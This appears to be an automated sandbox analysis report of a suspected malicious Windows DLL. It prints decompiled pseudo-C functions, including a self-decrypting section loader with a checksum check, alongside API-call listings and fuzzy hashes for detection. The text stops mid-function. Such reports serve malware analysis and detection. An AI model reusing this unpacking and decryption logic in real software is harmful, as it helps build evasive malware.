
Download Yara Rule

C-Code - Quality: 87%

			E6D6B15A3(void* __edi, intOrPtr _a4) {
				intOrPtr _v8;
				unsigned int _v12;
				intOrPtr _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v44;
				signed int _v48;
				intOrPtr _t39;
				void* _t46;
				intOrPtr _t47;
				intOrPtr _t50;
				signed int _t59;
				signed int _t61;
				intOrPtr _t66;
				intOrPtr _t77;
				void* _t78;
				signed int _t80;

				_t77 =  *0x6d6b41b0;
				_t39 = E6D6B1A4B(_t77,  &_v20,  &_v12);
				_v16 = _t39;
				if(_t39 == 0) {
					asm("sbb ebx, ebx");
					_t59 =  ~( ~(_v12 & 0x00000fff)) + (_v12 >> 0xc);
					_t78 = _t77 + _v20;
					_v36 = _t78;
					_t46 = VirtualAlloc(0, _t59 << 0xc, 0x3000, 4); // executed
					_v24 = _t46;
					if(_t46 == 0) {
						_v16 = 8;
					} else {
						_t61 = 0;
						if(_t59 <= 0) {
							_t47 =  *0x6d6b41cc;
						} else {
							_t66 = _a4;
							_t50 = _t46 - _t78;
							_t11 = _t66 + 0x6d6b5137; // 0x6d6b5137
							_v28 = _t50;
							_v32 = _t50 + _t11;
							_v8 = _t78;
							while(1) {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t19 = _t61 + 1; // 0x2
								_t80 = _t19;
								E6D6B1D02(_v8 + _t50, _v8, (_v48 ^ _v44) + _v20 + _a4 >> _t80);
								_t64 = _v32;
								_v8 = _v8 + 0x1000;
								_t47 =  *((intOrPtr*)(_v32 + 0xc)) -  *((intOrPtr*)(_t64 + 8)) +  *((intOrPtr*)(_t64 + 4));
								_t61 = _t80;
								 *0x6d6b41cc = _t47;
								if(_t61 >= _t59) {
									break;
								}
								_t50 = _v28;
							}
						}
						if(_t47 != 0x63699bc3) {
							_v16 = 0xc;
						} else {
							memcpy(_v36, _v24, _v12);
						}
						VirtualFree(_v24, 0, 0x8000); // executed
					}
				}
				return _v16;
			}

APIs

VirtualAlloc.KERNELBASE(00000000,00000000,00003000,00000004,?,?,00000000,00000000), ref: 6D6B15F9
memcpy.NTDLL(?,?,00000000,?,?,00000000,00000000,?,?,?,?,?,?,?,?,6D6B17EC), ref: 6D6B168B
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,00000000,00000000), ref: 6D6B16A6

Strings

Mar 26 2021, xrefs: 6D6B162B

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Virtual$AllocFreememcpy
String ID: Mar 26 2021
API String ID: 4010158826-2175073649
Opcode ID: 2fe72fd2cc3cddeffcac713c17c59db4b065fdabc4f807d59c84bc1b9e3ecf67
Instruction ID: ae12da09253ce6ae330c953cd47e0a28a4a7fe215a3bc3bdb472b37f7aa9ef74
Opcode Fuzzy Hash: 2fe72fd2cc3cddeffcac713c17c59db4b065fdabc4f807d59c84bc1b9e3ecf67
Instruction Fuzzy Hash: C8315271E4021AAFDF01CF99C881BEEB7B9FF4D304F148169E904AB241E775AA158F94

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1D32, Relevance: 6.0, APIs: 4, Instructions: 30
threadCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E6D6B1D32(void* __ecx, intOrPtr _a4) {
				long _t3;
				int _t4;
				int _t9;
				void* _t13;

				_t13 = GetCurrentThread();
				_t3 = SetThreadAffinityMask(_t13, 1); // executed
				if(_t3 != 0) {
					SetThreadPriority(_t13, 0xffffffff); // executed
				}
				_t4 = E6D6B17A7(_a4); // executed
				_t9 = _t4;
				if(_t9 == 0) {
					SetThreadPriority(_t13, _t4);
				}
				asm("lock xadd [eax], ecx");
				return _t9;
			}

0x6d6b1d3b
0x6d6b1d40
0x6d6b1d4e
0x6d6b1d53
0x6d6b1d53
0x6d6b1d59
0x6d6b1d5e
0x6d6b1d62
0x6d6b1d66
0x6d6b1d66
0x6d6b1d70
0x6d6b1d79

APIs

GetCurrentThread.KERNEL32 ref: 6D6B1D35
SetThreadAffinityMask.KERNEL32(00000000,00000001), ref: 6D6B1D40
SetThreadPriority.KERNELBASE(00000000,000000FF), ref: 6D6B1D53
SetThreadPriority.KERNEL32(00000000,00000000,?), ref: 6D6B1D66

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: Thread$Priority$AffinityCurrentMask
String ID:
API String ID: 1452675757-0
Opcode ID: b687e8eb801bf986e299cc6ec862ac44ff4fe99298c241b15daf96adc5ebe3f3
Instruction ID: fba80a8f745266d02d80d31c53e9120544b9cb91f4e8061a8143a30883378c1d
Opcode Fuzzy Hash: b687e8eb801bf986e299cc6ec862ac44ff4fe99298c241b15daf96adc5ebe3f3
Instruction Fuzzy Hash: 7BE092317193153BD7022A2A4C88F6B7B6CDF9B3357120335F624D21D0DB699C2A87A5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F3500, Relevance: 1.7, APIs: 1, Instructions: 199COMMON

Download Yara Rule

APIs

VirtualProtectEx.KERNELBASE(000000FF,?,00000040,?), ref: 6D6F35B3

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction ID: 09ad8c7f56ce73973e22dff8fbb1fc7c8d266262bf6f9f86de8caec49d5316c8
Opcode Fuzzy Hash: 9d0e060eec81500a5a3e77f41850c1be4ed405d0b605b85630174f5069ce8c26
Instruction Fuzzy Hash: C07129796001558FCB24CF2EC4907E9BBF6FB5A212F56817AE494C7381E3349609DB93

Uniqueness

Uniqueness Score: -1.00%

Function 6D700978, Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000), ref: 6D7009B9

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction ID: 8be70b4f7681433732489675157065a87ed958d3bb7f165222286d72ab680b79
Opcode Fuzzy Hash: 2c196ef41640d3671aca9b2b8fb94a31787050077db0c4ef16fc6608d9648526
Instruction Fuzzy Hash: B5F080B166563567FB115F274E04F6B77DDAF82770F028033ED18A61D4DB20E44145A3

Uniqueness

Uniqueness Score: -1.00%

Function 6D73236F, Relevance: 1.3, APIs: 1, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,0000079C,00003000,00000040,0000079C,6D731E18), ref: 6D732480

Memory Dump Source

Source File: 00000003.00000002.498365745.000000006D731000.00000040.00020000.sdmp, Offset: 6D731000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: ba7ba2bb355a232b02005b004decdd8d2ce9601d765b7e47659a67bb32565e68
Instruction ID: 9945d933e292d23c0c06fb71961f668e0db9f73d82982c217acaf4167ae7f006
Opcode Fuzzy Hash: ba7ba2bb355a232b02005b004decdd8d2ce9601d765b7e47659a67bb32565e68
Instruction Fuzzy Hash: A0319E321493D08FDB26CB248C95B507F60BF07654F0A05EADA869F297D7682845C763

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 6D6B2485, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195
nativeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B2485(long _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				short* _v32;
				void _v36;
				void* _t57;
				signed int _t58;
				signed int _t61;
				signed int _t62;
				void* _t63;
				signed int* _t68;
				intOrPtr* _t69;
				intOrPtr* _t71;
				intOrPtr _t72;
				intOrPtr _t75;
				void* _t76;
				signed int _t77;
				void* _t78;
				void _t80;
				signed int _t81;
				signed int _t84;
				signed int _t86;
				short* _t87;
				void* _t89;
				signed int* _t90;
				long _t91;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int _t102;
				void* _t104;
				long _t108;
				signed int _t110;

				_t108 = _a4;
				_t76 =  *(_t108 + 8);
				if((_t76 & 0x00000003) != 0) {
					L3:
					return 0;
				}
				_a4 =  *[fs:0x4];
				_v8 =  *[fs:0x8];
				if(_t76 < _v8 || _t76 >= _a4) {
					_t102 =  *(_t108 + 0xc);
					__eflags = _t102 - 0xffffffff;
					if(_t102 != 0xffffffff) {
						_t91 = 0;
						__eflags = 0;
						_a4 = 0;
						_t57 = _t76;
						do {
							_t80 =  *_t57;
							__eflags = _t80 - 0xffffffff;
							if(_t80 == 0xffffffff) {
								goto L9;
							}
							__eflags = _t80 - _t91;
							if(_t80 >= _t91) {
								L20:
								_t63 = 0;
								L60:
								return _t63;
							}
							L9:
							__eflags =  *(_t57 + 4);
							if( *(_t57 + 4) != 0) {
								_t12 =  &_a4;
								 *_t12 = _a4 + 1;
								__eflags =  *_t12;
							}
							_t91 = _t91 + 1;
							_t57 = _t57 + 0xc;
							__eflags = _t91 - _t102;
						} while (_t91 <= _t102);
						__eflags = _a4;
						if(_a4 == 0) {
							L15:
							_t81 =  *0x6d6b41f8;
							_t110 = _t76 & 0xfffff000;
							_t58 = 0;
							__eflags = _t81;
							if(_t81 <= 0) {
								L18:
								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x6d6b4240 = 1;
										__eflags =  *0x6d6b4240;
										if( *0x6d6b4240 != 0) {
											goto L60;
										}
										_t84 =  *0x6d6b41f8;
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x6d6b4240 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x6d6b41f8 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x6d6b4200 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x6d6b41fc + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x6d6b4240 = 1;
							__eflags =  *0x6d6b4240;
							if( *0x6d6b4240 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x6d6b4240 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x6d6b4200 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t58 = _t81 - 1;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x6d6b41f8 = _t81;
								}
								_t58 = _t81 - 1;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x6d6b4200 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}

APIs

NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 6D6B2536

Strings

@Bkm, xrefs: 6D6B2637
@Bkm, xrefs: 6D6B2555
@Bkm, xrefs: 6D6B2694

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: MemoryQueryVirtual
String ID: @Bkm$@Bkm$@Bkm
API String ID: 2850889275-676724631
Opcode ID: e393b09d73f0c3dc86bddcaa458cebb24e37ecb94d16d3b401ce6942007a2a55
Instruction ID: fb39b9fe2a7aae7529f35812973c0621f405a62df887438659b627a88fc62f2d
Opcode Fuzzy Hash: e393b09d73f0c3dc86bddcaa458cebb24e37ecb94d16d3b401ce6942007a2a55
Instruction Fuzzy Hash: 8561C231A546138FDB39CF29D8A076973F5BB8E358F248439D926C7294E770E8B28750

Uniqueness

Uniqueness Score: -1.00%

Function 6D70293A, Relevance: 19.6, APIs: 13, Instructions: 113COMMON

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 6D70297E

Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056CE
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056E0
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7056F2
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705704
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705716
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705728
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70573A
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70574C
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D70575E
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705770
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705782
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D705794
Part of subcall function 6D7056B1: _free.LIBCMT ref: 6D7057A6

_free.LIBCMT ref: 6D702973

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D702995
_free.LIBCMT ref: 6D7029AA
_free.LIBCMT ref: 6D7029B5
_free.LIBCMT ref: 6D7029D7
_free.LIBCMT ref: 6D7029EA
_free.LIBCMT ref: 6D7029F8
_free.LIBCMT ref: 6D702A03
_free.LIBCMT ref: 6D702A3B
_free.LIBCMT ref: 6D702A42
_free.LIBCMT ref: 6D702A5F
_free.LIBCMT ref: 6D702A77

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast___free_lconv_mon
String ID:
API String ID: 161543041-0
Opcode ID: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction ID: 331b47eafbd56f21f8c4fbc37dcff1f123749972833534dbf2440adee6551933
Opcode Fuzzy Hash: 0549a29453d400ac81d12f1a5bec27219034db70fc5803b892210d82332a12c9
Instruction Fuzzy Hash: A13190B2608702AFEB318A34DA44B6673E9BF45324F12452AE95DD7190DF71F841CF1A

Uniqueness

Uniqueness Score: -1.00%

Function 6D6F94D0, Relevance: 17.8, APIs: 7, Strings: 3, Instructions: 308COMMON

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F95CB
type_info::operator==.LIBVCRUNTIME ref: 6D6F95F2
___TypeMatch.LIBVCRUNTIME ref: 6D6F96FE
CatchIt.LIBVCRUNTIME ref: 6D6F9753
IsInExceptionSpec.LIBVCRUNTIME ref: 6D6F97D9
_UnwindNestedFrames.LIBCMT ref: 6D6F9860
CallUnexpected.LIBVCRUNTIME ref: 6D6F987B

Strings

csm, xrefs: 6D6F9578
csm, xrefs: 6D6F950B
csm, xrefs: 6D6F9629

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: ExceptionSpec$CallCatchFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 4234981820-393685449
Opcode ID: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction ID: d277426115a80f230a5ef08fff2d893d67ecd374529666c0b87c08fe26f7b64f
Opcode Fuzzy Hash: fb9a556a03156d3ce94a9f9358e2efa0a73064c6f6d4f727a631297e5b544533
Instruction Fuzzy Hash: DBC16B71C08A0AAFCF19CFA4C8809AEBB76BF4C318F11445BE9256B215D731D652CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 6D6FD268, Relevance: 15.1, APIs: 10, Instructions: 69COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 6D6FD27E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D6FD28A
_free.LIBCMT ref: 6D6FD295
_free.LIBCMT ref: 6D6FD2A0
_free.LIBCMT ref: 6D6FD2AB
_free.LIBCMT ref: 6D6FD2B6
_free.LIBCMT ref: 6D6FD2C1
_free.LIBCMT ref: 6D6FD2CC
_free.LIBCMT ref: 6D6FD2D7
_free.LIBCMT ref: 6D6FD2E5

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction ID: bd8ea57ccb27f362a011f6b362522ebe86ef667ec87233c79e5462d753ab33c8
Opcode Fuzzy Hash: 9673f8292a0aa7b30516a824dcee35c1ae28e32052b7867728a785a6ea4ff20c
Instruction Fuzzy Hash: F321B876948508AFCF41DF94C890DDD7BBAEF48244F028166EA1D9B125DB31EA46CF84

Uniqueness

Uniqueness Score: -1.00%

Function 6D700339, Relevance: 13.8, APIs: 9, Instructions: 301COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: db581759fd70b211ea1a22fe1fcf32e63173cdf25eb71413032885ab4aca7aae
Instruction ID: d8df4f2bb36a19a0d0b3dc5338692da961b34c54ee4ea13997642228a79c9fc3
Opcode Fuzzy Hash: db581759fd70b211ea1a22fe1fcf32e63173cdf25eb71413032885ab4aca7aae
Instruction Fuzzy Hash: 4AC1D5B0A482469FDB01CF99C981FADBBF6BF8A334F01416AE558972C1C7709941CF66

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1979, Relevance: 13.6, APIs: 9, Instructions: 81
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E6D6B1979(intOrPtr __edx, long _a4, void** _a8, void** _a12) {
				intOrPtr _v12;
				struct _FILETIME* _v16;
				short _v60;
				struct _FILETIME* _t14;
				intOrPtr _t15;
				long _t18;
				void* _t22;
				intOrPtr _t31;
				long _t32;
				void* _t34;

				_t31 = __edx;
				_t14 =  &_v16;
				GetSystemTimeAsFileTime(_t14);
				_push(0x192);
				_push(0x54d38000);
				_push(_v12);
				_push(_v16);
				L6D6B2210();
				_push(_t14);
				_v16 = _t14;
				_t15 =  *0x6d6b41d0;
				_push(_t15 + 0x6d6b505e);
				_push(_t15 + 0x6d6b5054);
				_push(0x16);
				_push( &_v60);
				_v12 = _t31;
				L6D6B220A();
				_t18 = _a4;
				if(_t18 == 0) {
					_t18 = 0x1000;
				}
				_t34 = CreateFileMappingW(0xffffffff, 0x6d6b41c0, 4, 0, _t18,  &_v60);
				if(_t34 == 0) {
					_t32 = GetLastError();
				} else {
					if(_a4 != 0 || GetLastError() == 0xb7) {
						_t22 = MapViewOfFile(_t34, 6, 0, 0, 0);
						if(_t22 == 0) {
							_t32 = GetLastError();
							if(_t32 != 0) {
								goto L9;
							}
						} else {
							 *_a8 = _t34;
							 *_a12 = _t22;
							_t32 = 0;
						}
					} else {
						_t32 = 2;
						L9:
						CloseHandle(_t34);
					}
				}
				return _t32;
			}

APIs

GetSystemTimeAsFileTime.KERNEL32(?,00000002,00000000,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?,?), ref: 6D6B1986
_aulldiv.NTDLL(?,?,54D38000,00000192), ref: 6D6B199C
_snwprintf.NTDLL ref: 6D6B19C1
CreateFileMappingW.KERNEL32(000000FF,6D6B41C0,00000004,00000000,?,?), ref: 6D6B19E6
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?), ref: 6D6B19FD
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000), ref: 6D6B1A11
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?), ref: 6D6B1A29
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A), ref: 6D6B1A32
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6D6B176E,0000000A,?), ref: 6D6B1A3A

Memory Dump Source

Source File: 00000003.00000002.498095840.000000006D6B1000.00000020.00020000.sdmp, Offset: 6D6B0000, based on PE: true

Associated: 00000003.00000002.498083369.000000006D6B0000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498116609.000000006D6B3000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.498129081.000000006D6B5000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.498142503.000000006D6B6000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorFileLast$Time$CloseCreateHandleMappingSystemView_aulldiv_snwprintf
String ID:
API String ID: 1724014008-0
Opcode ID: 0079a77cdab76c4d51a2b81982b8493352bd3d9c6d084706724bea82e7d7724e
Instruction ID: 733bfa9946f1d431bb0c2b03097584455c065812e9aaaa23a38ac8af5fa9411b
Opcode Fuzzy Hash: 0079a77cdab76c4d51a2b81982b8493352bd3d9c6d084706724bea82e7d7724e
Instruction Fuzzy Hash: C121CFB2640108BFDB11AFA9DC85FEE7BBCEB4D354F118025F615D7180DB74A9618B60

Uniqueness

Uniqueness Score: -1.00%

Function 6D705850, Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 6D705818: _free.LIBCMT ref: 6D70583D

_free.LIBCMT ref: 6D70589E

Part of subcall function 6D6FD68A: HeapFree.KERNEL32(00000000,00000000,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?), ref: 6D6FD6A0
Part of subcall function 6D6FD68A: GetLastError.KERNEL32(?,?,6D705842,?,00000000,?,6D730096,?,6D705869,?,00000007,?,?,6D702AD1,?,?), ref: 6D6FD6B2

_free.LIBCMT ref: 6D7058A9
_free.LIBCMT ref: 6D7058B4
_free.LIBCMT ref: 6D705908
_free.LIBCMT ref: 6D705913
_free.LIBCMT ref: 6D70591E
_free.LIBCMT ref: 6D705929

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction ID: 1d151e6b5131e8a50262f27947612d3a5d74395fbe0ddf1605f1559f05417abf
Opcode Fuzzy Hash: 2536a4e061a4774c2413857fa71987725cc3c57037fa6d39a53ba6d9bf290c9a
Instruction Fuzzy Hash: 6C1106B1489B14B6D620A770CC0AFDB77DDAF05714F824C14BB9E661D0C731B4014F99

Uniqueness

Uniqueness Score: -1.00%

Function 6D70354B, Relevance: 9.3, APIs: 6, Instructions: 318fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,00000001,00000000), ref: 6D703593
__fassign.LIBCMT ref: 6D703772
__fassign.LIBCMT ref: 6D70378F
WriteFile.KERNEL32(?,6D6FF5F6,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7037D7
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6D703817
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6D7038C3

Memory Dump Source

Source File: 00000003.00000002.498171831.000000006D6BE000.00000020.00020000.sdmp, Offset: 6D6BE000, based on PE: false

Similarity

API ID: FileWrite__fassign$ConsoleErrorLast
String ID:
API String ID: 4031098158-0
Opcode ID: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction ID: b2cee0d4d9ef85382a047999efd643142898c878b6e37ed4526705eefe670aa4
Opcode Fuzzy Hash: f8bad7f0b565f268d5a3776c21ae333d5206b0df4aec7dc14a39e76a77af7762
Instruction Fuzzy Hash: 79D1BEB5D002599FCF11CFE8CA809EDBBF5BF49324F1540AAE855BB281D730A946CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6D6B1AA5, Relevance: 9.1, APIs: 6, Instructions: 81
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6D6B1AA5(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16) {
				intOrPtr _v8;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t33;
